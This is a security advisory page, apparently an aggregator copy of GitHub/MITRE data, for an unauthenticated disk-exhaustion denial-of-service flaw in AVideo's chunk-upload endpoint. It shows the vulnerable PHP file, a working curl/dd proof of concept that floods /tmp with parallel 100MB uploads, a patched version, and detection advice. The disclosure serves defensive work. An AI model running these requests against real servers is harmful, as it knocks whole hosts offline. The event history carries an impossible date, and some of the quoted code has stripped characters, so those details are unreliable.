CVE-2026-33483: AVideo Affected by Unauthenticated Disk Space Exhaustion via Unlimited Temp File Creation in aVideoEncoderChunk.json.php

Published Mar 20, 2026
·
Updated

Summary

The aVideoEncoderChunk.json.php endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in /tmp/ with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server.

Details

The file objects/aVideoEncoderChunk.json.php (25 lines total) operates entirely outside the AVideo framework:

php // objects/aVideoEncoderChunk.json.php — full file <?php header('Access-Control-Allow-Origin: '); // Line 2: CORS wildcard header('Content-Type: application/json'); $obj = new stdClass(); $obj->file = tempnam(sysgettempdir(), 'YTPChunk'); // Line 5: creates /tmp/YTPChunkXXXXXX

$putdata = fopen("php://input", "r"); // Line 7: reads raw POST body $fp = fopen($obj->file, "w");

while ($data = fread($putdata, 1024 1024)) { // Line 12: 1MB chunks, no limit fwrite($fp, $data); }

fclose($fp); fclose($putdata); sleep(1); $obj->filesize = filesize($obj->file);

$json = jsonencode($obj); die($json); // Line 25: returns {"file":"/tmp/YTPChunkabc123","filesize":104857600}

The vulnerability chain:

1. No authentication: The script includes no session handling, no requireonce of the framework, no useVideoHashOrLogin(), no canUpload() — nothing. Compare with aVideoEncoder.json.php which includes configuration.php and calls authentication functions.

2. No size limits: php://input is read until exhaustion. The effective limit is PHP's postmaxsize, which AVideo's .htaccess has commented-out settings for 4GB (#phpvalue postmaxsize 4G at line 536). Default AVideo installations recommend at least 100MB.

3. No cleanup: A grep for YTPChunk across the entire codebase returns only the chunk file itself. No cron job, no garbage collection, no consumer that deletes files after processing. The temp files persist until the server is manually cleaned.

4. Path disclosure: The response JSON includes the full filesystem temp path (e.g., /tmp/YTPChunkabc123), revealing server directory structure.

5. CORS wildcard: Access-Control-Allow-Origin: on line 2 means any malicious webpage can trigger this attack via the visitor's browser, potentially distributing the attack across many source IPs.

6. Public routing: .htaccess line 437 rewrites /aVideoEncoderChunk.json to this file, making it accessible at a clean URL.

PoC

Step 1: Confirm endpoint is accessible and unauthenticated bash curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary 'test' Expected output: json {"file":"/tmp/YTPChunkXXXXXX","filesize":4}

Step 2: Write a large temp file (100MB) bash dd if=/dev/zero bs=1M count=100 2>/dev/null | \ curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary @- Expected output: json {"file":"/tmp/YTPChunkYYYYYY","filesize":104857600}

Step 3: Parallel disk exhaustion (10 concurrent 100MB requests = 1GB) bash for i in $(seq 1 10); do dd if=/dev/zero bs=1M count=100 2>/dev/null | \ curl -s -X POST https://target/aVideoEncoderChunk.json \ -H 'Content-Type: application/octet-stream' \ --data-binary @- & done wait

Step 4: Verify files persist (they are never cleaned up) bash On the server: ls -la /tmp/YTPChunk All files remain indefinitely

Impact

- Denial of Service: Filling /tmp/ causes cascading failures — PHP session handling breaks, MySQL temp tables fail, and system services relying on tmpfs crash. This can take down the entire server, not just AVideo. - No authentication barrier: Any anonymous internet user can trigger this attack. - Cross-origin exploitation: The CORS wildcard header allows any malicious website to use visitors' browsers as distributed attack proxies, bypassing IP-based rate limiting at the network level. - Information disclosure: The temp file path in the response reveals the server's filesystem layout. - Persistence: Created files are never cleaned up, so even a brief attack has lasting impact until manual intervention.

Recommended Fix

Replace objects/aVideoEncoderChunk.json.php with a version that includes authentication, size limits, and cleanup:

php <?php if (empty($global)) { $global = []; } requireonce '../videos/configuration.php';

header('Content-Type: application/json'); allowOrigin(); // Use AVideo's configured CORS instead of wildcard

// Require authentication $userObj = new User(0); if (!User::canUpload()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Not authorized'])); }

// Enforce size limit (e.g., 200MB) $maxSize = 200 1024 1024; $contentLength = isset($SERVER['CONTENTLENGTH']) ? (int)$SERVER['CONTENTLENGTH'] : 0; if ($contentLength > $maxSize) { httpresponsecode(413); die(jsonencode(['error' => true, 'msg' => 'Payload too large'])); }

$obj = new stdClass(); $obj->file = tempnam(sysgettempdir(), 'YTPChunk');

$putdata = fopen("php://input", "r"); $fp = fopen($obj->file, "w"); $written = 0;

while ($data = fread($putdata, 1024 1024)) { $written += strlen($data); if ($written > $maxSize) { fclose($fp); fclose($putdata); unlink($obj->file); httpresponsecode(413); die(jsonencode(['error' => true, 'msg' => 'Payload too large'])); } fwrite($fp, $data); }

fclose($fp); fclose($putdata);

$obj->filesize = filesize($obj->file); // Do not expose full filesystem path $obj->file = basename($obj->file);

die(jsonencode($obj));

Additionally, add a cleanup cron job or garbage collection to remove YTPChunk files older than a configurable timeout (e.g., 1 hour).

Other sources

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the aVideoEncoderChunk.json.php endpoint is a completely standalone PHP script with no authentication, no framework includes, and no resource limits. An unauthenticated remote attacker can send arbitrary POST data which is written to persistent temp files in /tmp/ with no size cap, no rate limiting, and no cleanup mechanism. This allows trivial disk space exhaustion leading to denial of service of the entire server. Commit 33d1bae6c731ef1682fcdc47b428313be073a5d1 contains a patch.

MITRE

Affected Software

2 affected components
composer/wwbn/avideo<=26.0
WWBN AVideo<=26.0

Event History

Mar 20, 2026
Advisory Published
via GitHub·08:46 PM
Data Sourced
via GitHub·08:46 PM
DescriptionSeverityWeaknessAffected Software
Mar 23, 2026
CVE Published
via MITRE·02:12 PM
Data Sourced
via MITRE·02:12 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Dec 26, 58199
Event
via FIRST·12:10 PM

Frequently Asked Questions

1

Does exploitation require an account or user interaction?

No. The endpoint accepts unauthenticated remote POST requests, and exploitation does not require privileges or user interaction.

2

What makes this endpoint exposed even if other AVideo controls are configured?

The affected PHP script operates independently of the AVideo framework and does not include framework authentication or resource-control mechanisms. It also sends a wildcard CORS header, although disk exhaustion can be performed through direct requests.

3

How can an administrator look for evidence of exposure or abuse?

The script creates files named with the YTPChunk_ prefix in the system temporary directory, such as /tmp/YTPChunk_XXXXXX. Persistent or unexpectedly numerous files with that prefix, especially alongside low available disk space, indicate this endpoint may have been used.

4

Is the impact limited to the application?

No. Because uploaded request bodies are written to the server's temporary filesystem without size limits, rate limits, or cleanup, an attacker can exhaust disk space and cause denial of service for the entire server.

5

Is a fix available?

Yes. A patch is available; the provided advisory references the remediation commit 33d1bae6c731ef1682fcdc47b428313be073a5d1.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203